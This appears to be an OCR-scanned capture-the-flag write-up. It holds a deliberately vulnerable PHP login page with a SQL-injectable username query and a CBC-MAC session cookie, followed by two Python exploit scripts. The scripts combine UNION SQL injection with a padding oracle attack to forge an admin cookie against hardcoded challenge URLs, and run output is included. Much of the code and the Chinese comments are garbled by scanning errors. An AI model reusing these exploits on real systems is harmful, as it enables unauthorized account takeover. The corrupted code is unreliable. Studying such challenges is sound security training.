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<?php

error_reporting(9);
define("ENC_KEY", "***censored***");
define("ENC_METHOD", "aes-128-cbc");

if (!extension_loaded('pdo_sqlite')) {
header("Content-type: text/plain");
echo "PDO Driver for SQLite is not installed.";

exit;
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if (!extension_loaded('openssl')) {
header ("Content-type: text/plain");
echo "OpenSSL extension is not installed.";
exit;

/*

Setup:

CREATE TABLE user (

username VARCHAR(255),

enc_password VARCHAR(255),

isadmin BOOLEAN

);

INSERT INTO user VALUES ("admin", "***censored***", 1);
4

function auth($enc_password, $input) {
$enc_password = base64_decode($enc_password);
$iv = substr($enc_password, @, 16);
$c = substr($enc_password, 16);
$password = openssl_decrypt($c, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return $password == $input;

function mac($input) {
$iv = str_repeat("\0", 16);
$c = openssl_encrypt($input, ENC_METHOD, ENC_KEY, OPENSSL_RAW_DATA, $iv);
return substr($c, -16);

function save_session() {
global $SESSION;
$j = serialize($SESSION);
$u = $3 . mac($j);
setcookie("JSESSION", base64_encode($u));

function load_session() {
global $SESSION;
if (!isset($_COOKIE["JISESSION"]))
return array();

$u = baseb64_decode($ COOKIE["ISESSION"]);
$j = substr($u, 0, -16);
$t = substr($u, -16);

if (mac($j) !== $t)
return array(2);
$SESSION = unserialize($j);

function _h($s) {
return htmlspecialchars($s, ENT_QUOTES, "UTF-8");

function login_page($message = NULL) {
?><ldoctype html>

<html>
<head><title>Login</title></head>
<body>

<?php
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AT (I>S>EL(PHESSHEE) ) 1

echo " «<div>" . _h($message) . "</div>\n";
¥
?>
<form method="POST">
<div>
<label>username</label>
<input type="text" name="username">
</div>
<div>
<label>password</label>
<input type="password" name="password">
</div>
<input type="submit" value="login">
</form>
</body>
</html>
<?php
exit;
}

function info_page() {
global $SESSION;
’><!doctype html>
<html>
<head><title>Login</title></head>
<body>
<?php
printf("Hello %s\n", _h($SESSION["name"]));
if ($SESSION["isadmin"])
include("../flag");
?>
<div><a href="logout.php">Log out</a></div>
</body>
</html>
<?php
exit;

if (isset($ _POST['username']) && isset($ POST['password'])) {
$username = (string)$_POST[ 'username'];
$password = (string)$_POST[ 'password'];
$dbh = new PDO('sqlite:../db/users.db');
$result = $dbh->query("SELECT username, enc_password from user WHERE username='{$username}'");
if (!$result) {
login_page("error");
/* DEBUG
$info = $dbh->errorInfo();
Login_page($info[2]);
//*/
}
$u = $result->fetch(PDO: :FETCH_ASSOC);
if ($u && auth($u["enc_password"], $password)) {
$SESSION[ "name"] = $u[ 'username'];
$SESSION["isadmin"] = $u[ 'isadmin’'];
save_session();
info_page();
}
else {
login_page("error");



b
else {
load_session();
if (isset($SESSION["name"])) {
info_page();
)
else {
login_page();
b
)
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# coding=utf-8

import time

import base64

import requests

from functools import wraps
from urllib import unquote
from urllib import quote
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# TLAEIGHFHEER
TEMP_CONTAINER_FOR_MULTI_THREADS = -1

url = "http://220.249.52.133:49766"

def clear_pools():
count = @
global pools
for p in pools:
if not p.done():

p.cancel()

count += 1
print count, "requests cancelled"
pools = []

def check_pools_all done():
for p in pools:
if not p.done():
return False
return True

def xor(str_a, str_b):

PATFRERE, DTS afk B

return "".join([chr(ord(str_a[i]) ~ ord(str_b[i % len(str_b)])) for i in xrange(len(str_a))])

def pad(text):
RIEPKCS#H7, M N G —AblockfEIHF, WHICRIF#16%ER, NIHF ' \x00' *16
https://tools.ietf.org/html/rfc2315
:param text:
:return:

return text + chr(16 - len(text)) * (16 - len(text))

def sql_injection(payload_username, payload_enc_password):
username FBCRMEEIE, FUFAHunioniBAINER 4, B9, Mgt & HI8IE.
:param payload_username: sql¥F username B
:param payload_enc_password: sql¥ fenc_password¥ B
rreturn: IR[EIER I RNAS B

payload_enc_password = base64.b64encode(payload_enc_password)
username = "' union select '{username}', '{enc_password}".format(username=payload_username, enc_password=payl
oad_enc_password)
data = {"username": username, "password": ""}
try:
r = requests.post(url, data=data)
return r
except requests.ConnectionError:
print "ConnectionError, Redo"

return sql_injection(payload_username, payload_enc_password)

def get jsession(payload_username):

R1BEKKjsession
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enc_passwordflpasswordZE %, Findex.phpHauthkZHopenssl_decryptMZEERIERM, iREIFalse, MIMEEIT$password==$i

&k session Bt B E cookieF HjsessionF B, Mcookies 3RS RIAN
:return: jsession: 'a:2:{s:4:"name";s:5:"admin";s:7:"isadmin";N; }\x11\x899A\x99Q\xe@D\xc2\x94\xcc\x1f\ro\x17

r = sql_injection(payload_username=payload_username, payload_enc_password="")
try:
jsession = base64.b64decode(unquote(r.cookies|["IJSESSION"]))
except KeyError:
print "KeyError, redo"
return get_jsession(payload_username)
return jsession

padding_oracle_attack(imd, cipher):
FlFenc_passwordF B % X, Ffpadding oracle attackiTiEM, 535 3C/W 3/ PEME/iv
WRBB I —HLIER, Windex.phpFauthE$Kopenssl_decryptf@Z#/ERII, RETrue, $password==$input ek L
:param cipher: X — B 1% 3L
:param imd: Intermediary Value, iX—Eir g
ireturn: chr(i): E—BESCIE L E
global TEMP_CONTAINER_FOR_MULTI_THREADS
iv = chr(0) * 16
for i in range(256):
# mid ~ chr(len(imd) + 1)
last_cipher_know = xor(imd, chr(len(imd) + 1))
payload_enc_password = iv + 'a' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
r = sql_injection(payload_username='a'*26, payload_enc_password=payload_enc_password)
if "Hello" not in r.text:

return chr(i)

# SPSHIITEIE?
# P, F 5T B 1S B E A A5 1 \x05 ' I X JF Al
# EX S B 1GFE a', MilTiEZ)6*"'\x06", WEiT Jopenssl_decrypt().
# VLIS 18 IR BB (7 87 AR IEGH G
# HBITAIE R DEFEFLE, A F— 1, HHXMEHEN, BB FFE .,
# 1f "Hello" not in r.text:
# payload_enc_password = iv + 'b' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
# r = sql_1injection(payload_username='a' * 26, payload_enc_password=payload_enc_password)
# if "Hello" not 1in r.text:
# print repr(payload_enc_password)
# return chr(i)
# else:
# print "Found something strange"
# return
while TEMP_CONTAINER_FOR_MULTI_THREADS == -1:

time.sleep(0.1)
if check_pools_all done():
print "pools all done, but not crack."
clear_pools()
return padding_oracle_attack(imd, cipher)
chr_i = chr(TEMP_CONTAINER_FOR_MULTI_THREADS)
TEMP_CONTAINER_FOR_MULTI_THREADS = -1
clear_pools()
return chr_i

get_list of original_cipher_and_plain(jsession):
FlFpadding oracle attack, 7538 3CHI% L

:return: list plain, list cipher



# R#Findex.phpJFi9, jsession/F16(/, *aes-128-cbcR/E—blockfIE X, ZHIHIAES Fserialize ($SESSION)
plain_text = jsession[:-16]
list_plain = []
for i in range(len(plain_text) / 16):
list_plain.append(plain_text[i * 16: (i + 1) * 16])
list_plain.append(pad(plain_text[len(plain_text) / 16 * 16:]))
list_cipher = [""] * len(list_plain)
list_cipher[len(list_plain) - 1] = jsession[-16:]

# padding oracle attack, LIHZZFT—1block9EX
for i in range(len(list_plain) - 1, 0, -1):

imd = ""
for j in range(1, 16 + 1):

print "block {block_number} : the {cipher_index}/16 cipher text".format(block_number=i, cipher_index

chr_j = padding_oracle_attack(imd, list_cipher[i])
imd = xor(chr_j, chr(j)) + imd
# FEFY R, 82 L—1TblockHTEX
list_cipher[i - 1] = xor(imd, list_plain[i])
return list_plain, list_cipher

def get _new_cipher_2(list_cipher):
p2' = cl~c3”p4’
c2'
:param list_cipher: original cipher

encrypt(pZ'Acl) = enCPypt(CBAp4')=c4'

:return: new_jsession: new jsession

new_plain_2 = xor(xor(list_cipher[1], list _cipher[3]), pad("b:1;}"))
new_jsession = get_jsession(payload_username='a'*10 + new_plain_2)
return new_jsession

def main():
time_start = time.time()

# get original plain, cipher

jsession = get_jsession('a'*26)

list_plain, list_cipher = get_list of_original_cipher_and_plain(jsession)
print list_plain

print list_cipher

# get new plain, cipher

new_jsession = get_new_cipher_2(list_cipher)

new_list_plain, new_list_cipher = get_list_of original_cipher_and_plain(new_jsession)
print new_list _plain

print new_list_cipher

# Note: HEMquotei#irurl 4if3, & Mphp F &9+’ MEIT L1

cookies = {"JSESSION": quote(base64.b6dencode("".join(list_plain[:-1]) + "b:1;}" + new_list_cipher[2]))}
print cookies

print len(cookies["JSESSION"])

print repr(base64.b64decode(unquote(cookies|["ISESSION"])))

r = requests.get(url, cookies=cookies)

print r.content

time_end = time.time()
print time_end - time_start



{*JSESSION': 'YToyOntz0jQ6ImShbWUi03MEM]YEImFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhIjtz0jc6ImlzYWRtaWs102I6MTt9kIDrIsHE2Bvxy(

30%3D" }

L@y

'a:2:{s:4:"pame”;s:26:"aaaaaaaaaaaazaaaaaraaaaaaaaa”;s:7:"isadmin®;b:1; P\x90\x90\xeb " \xc1\xfe\xbf\x1c\x82\xdsAkew\xfan"

<!doctype html>
<html>

<head><title>Login</title></head>
<body>

Hello aaaaaaaaaaaaaaaaaaaaaaaaaa
S G Ve Y STV EERERN] <o iv><a href="logout.php*>Log out</a></div>
</body>
</html>
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# encoding:utf-8

import requests

import base64
url="http://220.249.52.133:57577/"
N=16

def inject(password

param={ 'username’:""' union select 'aaaaaaaaaaaaaaaaaaaaaaaaaaa','{password}".format(password=password

word'
result=requests.post(url,data=param
return result

def xor(a, b

return join([chr(ord(a[i])”ord(b[i%len(b
def pad(string,N
1=len(string
if 1!=N
return string+chr(N-1)*(N-1

def padding_oracle(N,cipher,plaintext
get=""
for i in xrange(1,N+1
for j in xrange(0,256
padding=xor(get,chr(i)*(i-1
c="a'*(16-1i)+chr(j)+padding+cipher

for i in xrange(len(a

result=inject(base64.b6dencode(chr(0)*16+c

if "Hello" not in result.content
get=chr(j”i)+get
print get.encode( 'hex'
break
return xor(get,plaintext

jsession=inject("aaaaaaaaa").headers| 'set-cookie’
%2B","'+"').decode( 'baseb4’

serialize=jsession[:-16
print serialize

split

1

1

1

replace("%3D"

replace("%2F"

yE

replace

'pass
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p=[]

for i in xrange(9,len(serialize),16):
p.append(serialize[i:i+16])

1=1len(p)

p[l-1]=pad(p[1-1],N)

c=[""1%1

c[l-1]=jsession[-16: ]

for i in xrange(1l-1,0,-1):
c[i-1]=padding_oracle(N,c[i],p[i])

p[4]=pad(';b:1;}",N)
p[2]=xor(xor(c[3],p[4]),c[1])
param={'username':""' union select 'aaaaaaaaaa{new_p}a','aaaaaaaaa".format(new_p=p[2]), 'password':"'"'}
result=requests.post(url,data=param)
#print p
jsession=result.headers| 'set-cookie'].split('=")[1].replace("%3D", " '=").replace("%2F","/").replace("%2B", +").dec
ode('base64")
print c
c=[""]*1
serialize=jsession|:-16]
p=[]
for i in xrange(©,len(serialize),16):
p.append(serialize[i:i+16])
#print p
p[1-1]=pad(p[1-1],N)
c[1l-1]=jsession[-16: ]
for i in xrange(1l-1,1,-1):
c[i-1]=padding_oracle(N,c[i],p[i])
print c

new_jsession=base64.b64encode('a:2:{s:4:"name";s:27:"aaaaaaaaaaaaaaaaaaaaaaaaaaa";s:7:"isadmin";b:1;}"'+c[2])
header = {"Cookie":"JSESSION="+new_jsession}

r = requests.post(url, headers=header)
print r.content
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